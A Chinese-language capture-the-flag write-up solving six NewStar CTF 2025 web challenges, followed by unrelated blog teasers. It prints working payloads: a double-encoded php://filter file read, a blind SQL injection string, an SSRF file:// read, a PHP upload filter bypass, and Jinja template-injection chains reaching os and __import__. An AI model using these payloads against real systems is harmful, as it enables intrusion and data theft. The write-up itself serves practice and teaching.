NewStar CTF 2025公开赛道-web题目-week3-writeup

NewStar CTF 2025公开赛道-web题目-week3-writeup

ez-chain

根据源码,分析需要绕过两层waf:首先需要传入file参数,传入的参数经过第一层waf,因为还未进行解码,所以可以通过双重编码绕过,另外一层waf因为会将读取内容进行判断是否内容包含f字符,然后进行base64层层解码继续判断是否存在f字符,所以此处不能使用base64编码读取内容,可以使用rot13编码读取绕过:

原始payload:

php://filter/read=string.rot13/resource=/flag

双重编码以后的payload:

%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2572%2565%2561%2564%253d%2573%2574%2572%2569%256e%2567%252e%2572%256f%2574%2531%2533%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%252f%2566%256c%2561%2567

浏览器传入payload:

file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2572%2565%2561%2564%253d%2573%2574%2572%2569%256e%2567%252e%2572%256f%2574%2531%2533%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%252f%2566%256c%2561%2567

flag{2d6baf66-878b-4f14-952e-86fca723f7d5}

白帽小K的故事(2)

启动访问题目:

是一个查询接口:

经过基本的sql注入payload测试发现空格是被过滤掉的。

右下角有个提示,点开看了看:

基本知道是使用字符盲注了。那还等啥,直接二分法脚本(大家自己网上搜一下payload改一下就行,我就不贴出来了,太占篇幅)爆破数据库,表,字段,导出数据即可,空格使用()绕过即可。基本payload:

payload= "amiya'^(ascii(substr((select(group_concat(flag))from(Flag.flag)),%d,1))<%d)^1#" % (i,mid)

爆破数据库:

表和列:

导出数据:

flag{4bff70f3-f336-489b-a4d5-d23d4e410f3b}

mygo!!!

访问查看源码:

尝试扫描文件,发现flag.php,直接访问:

https://eci-2ze783w94rticdke15eh.cloudeci1.ichunqiu.com:80/?proxy=http%3A%2F%2Flocalhost%2Fflag.php

接下来就一目了然了,直接构造file协议读取flag即可:

https://eci-2ze783w94rticdke15eh.cloudeci1.ichunqiu.com:80/?proxy=http%3A%2F%2Flocalhost%2Fflag.php?soyorin=file:////flag

flag{2dce6900-7056-494a-8bef-4fe13729ab65}

小E的秘密计划

根据题目描述先找到网站备份文件:直接扫描发现是www.zip

根据源码,发现目录和文件如下:

并且有登录页面,需要在git中找,那就使用git提取工具提取文件:

提取后的文件:

拿到了用户名和密码

那就访问登录呗

登录成功后提示,mac写的代码,那就是.DS_Store

https://eci-2zed6yp2av3gey0zzusg.cloudeci1.ichunqiu.com:80/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50/.DS_Store

打开下载的文件:

看到了flag应该在f f f f l l l l a a a a g g g g 1 1 4 5 1 4中,去掉空格访问ffffllllaaaagggg114514即可拿到flag

flag{10d8488e-ca8a-4f27-a1dd-afa8cbed3121}

mirror_gate

启动环境访问查看源码发现提示:

那就扫描uoloads看看有啥,发现.htaccess

访问发现是将webp当做php解析,那就是常规文件上传套路了,上传一个webp文件,内容为包含flag文件即可,根据提示flag是在flag.php,那就上传包含该文件即可

上传的时候发现<?php会被检测为恶意的,并禁止上传,所以直接通过<?  ?>包含即可

请求如下:

然后访问上传的文件即可拿到flag

flag{376e54c4-6dce-49aa-ae2f-67c14122bdf7}

who'ssti

下载附件查看代码:

会随机选择五个函数要求你触发调用,触发调用完成之后就会给你flag,,常规ssti调用,发送以下payload就会分别触发对应的函数,根据你的环境分别发送即可

{{config}} {{ config.__class__.__init__.__globals__.__builtins__.__import__('random').randint(1, 100) }} {{ config.__class__.__init__.__globals__.__builtins__.__import__('textwrap').dedent(' test\n ') }} {{ config.__class__.__init__.__globals__.__builtins__.__import__('difflib').get_close_matches('test', ['test', 'testing']) }} {{ config.__class__.__init__.__globals__.__builtins__.__import__('statistics').fmean([1, 2, 3, 4, 5]) }} {{ config.__class__.__init__.__globals__['__builtins__'].__import__('random').choice(['a','b','c']) }} {{ config.__class__.__init__.__globals__['__builtins__'].__import__('statistics').mean([1,2,3,4,5]) }} {{ lipsum.__globals__.os.listdir('.') }} {{ config.__class__.__init__.__globals__['__builtins__'].__import__('re').search('test', 'test string') }} {{ config.__class__.__init__.__globals__['__builtins__'].__import__('re').findall('t', 'test') }} {{ config.__class__.__init__.__globals__['__builtins__'].__import__('pickle').loads.__name__ }} {{ config.__class__.__init__.__globals__['__builtins__'].__import__('numpy').sum([1,2,3,4,5]) }}

依次发送即可

得到flag


flag{305b3fc4-ca20-4a7b-8a9e-daa048240bd3}

Read more

MC.JS WEBMC1.8实战:构建在线多人沙盒游戏

快速体验 1. 打开 InsCode(快马)平台 https://www.inscode.net 2. 输入框内输入如下内容: 开发一个基于MC.JS WEBMC1.8的多人在线沙盒游戏。使用WebSocket实现实时通信,允许多个玩家在同一地图上建造和互动。游戏需要包含用户注册登录系统,玩家可以创建或加入房间,实时看到其他玩家的操作。地图数据需要存储在服务器端,并支持基本的方块类型(如泥土、石头、木材)。前端界面要简洁直观,包含聊天功能。 1. 点击'项目生成'按钮,等待项目生成完整后预览效果 最近尝试用MC.JS WEBMC1.8开发了一个多人在线沙盒游戏,整个过程既有趣又充满挑战。下面分享下我的实战经验,希望能给想尝试类似项目的朋友一些参考。 1. 项目架构设计 这个游戏的核心是让多个玩家能实时互动,所以采用了前后端分离的架构。前端用HTML5+CSS3搭建界面,后端用Node.js处理逻辑,

Tauri 中嵌入百度网页:从 iframe 到 Webview 的迁移实践

Tauri 中嵌入百度网页:从 iframe 到 Webview 的迁移实践 问题描述 在开发 Tauri 桌面应用时,我们需要在一个插件窗口中嵌入百度首页。最初使用 iframe 实现,但遇到了点击无响应的问题。最终通过迁移到 Tauri 的 Webview API 成功解决。 问题背景 我们的应用使用 Tauri 2.0 + Vue 3 + TypeScript 技术栈。需求是在 src/plugins/baidu/index.vue 中实现一个显示百度首页的插件窗口,同时保留窗口控制按钮(最小化、最大化、关闭)。 初次尝试:使用 iframe 实现代码 <template> <

Bing网站收录教程:Bing Webmaster工具添加及验证步骤

Bing网站收录教程:Bing Webmaster工具添加及验证步骤

分类:科学与技术 摘要 在Bing Webmaster工具添加网站并验证所有权,提交网站地图,可提升内容在Bing/Edge搜索中的展示,助力流量获取,国内可直接访问。 内容 让你的网站被Bing看见——Bing Webmaster工具使用指南 搭建好个人网站或博客后,如何让更多人通过Bing搜索引擎找到它?将网站接入Bing Webmaster工具是关键一步,这就像给搜索引擎搭了一座直达桥梁。 什么是Bing Webmaster工具? 它是微软提供的免费平台,类似谷歌的Search Console,主要帮站长管理网站在Bing、Edge等搜索引擎中的表现。通过它,你能监控抓取情况、分析流量来源,还能优化内容在特定平台的展示效果。 为什么要使用它? 虽然Bing的市场份额不及谷歌,但全球仍有数亿用户依赖它搜索信息。接入后,能加速新内容收录、诊断技术问题(比如爬虫抓取失败),还能获取搜索数据,帮助你调整内容方向。对国内用户来说,直接访问操作页面是一大便利。 准备工作 1. 网站已上线并能正常访问(建议启用HTTPS) 2. 生成了sitemap.xml文件

Flutter Web 开发:解决跨域(CORS)问题的终极指南

Flutter Web 开发:解决跨域(CORS)问题的终极指南

Flutter Web 开发:解决跨域(CORS)问题的终极指南 在 Flutter Web 开发过程中,默认情况下浏览器会遵循同源策略。当你的应用尝试加载不同域名的网络资源(如 API 接口、图片等)时,经常会遇到 CORS(跨域资源共享) 错误,导致请求失败。 虽然生产环境应由后端配置 CORS 头来解决,但在本地开发和调试阶段,我们可以通过修改 Flutter 工具链源码来临时禁用浏览器的安全策略,从而顺利调试。 以下是详细的操作步骤: 🛠️ 操作步骤 第一步:定位 chrome.dart 文件 首先,你需要找到 Flutter SDK 中负责启动 Chrome 浏览器的配置文件 chrome.dart。 参考路径(请根据你的实际安装路径调整): <你的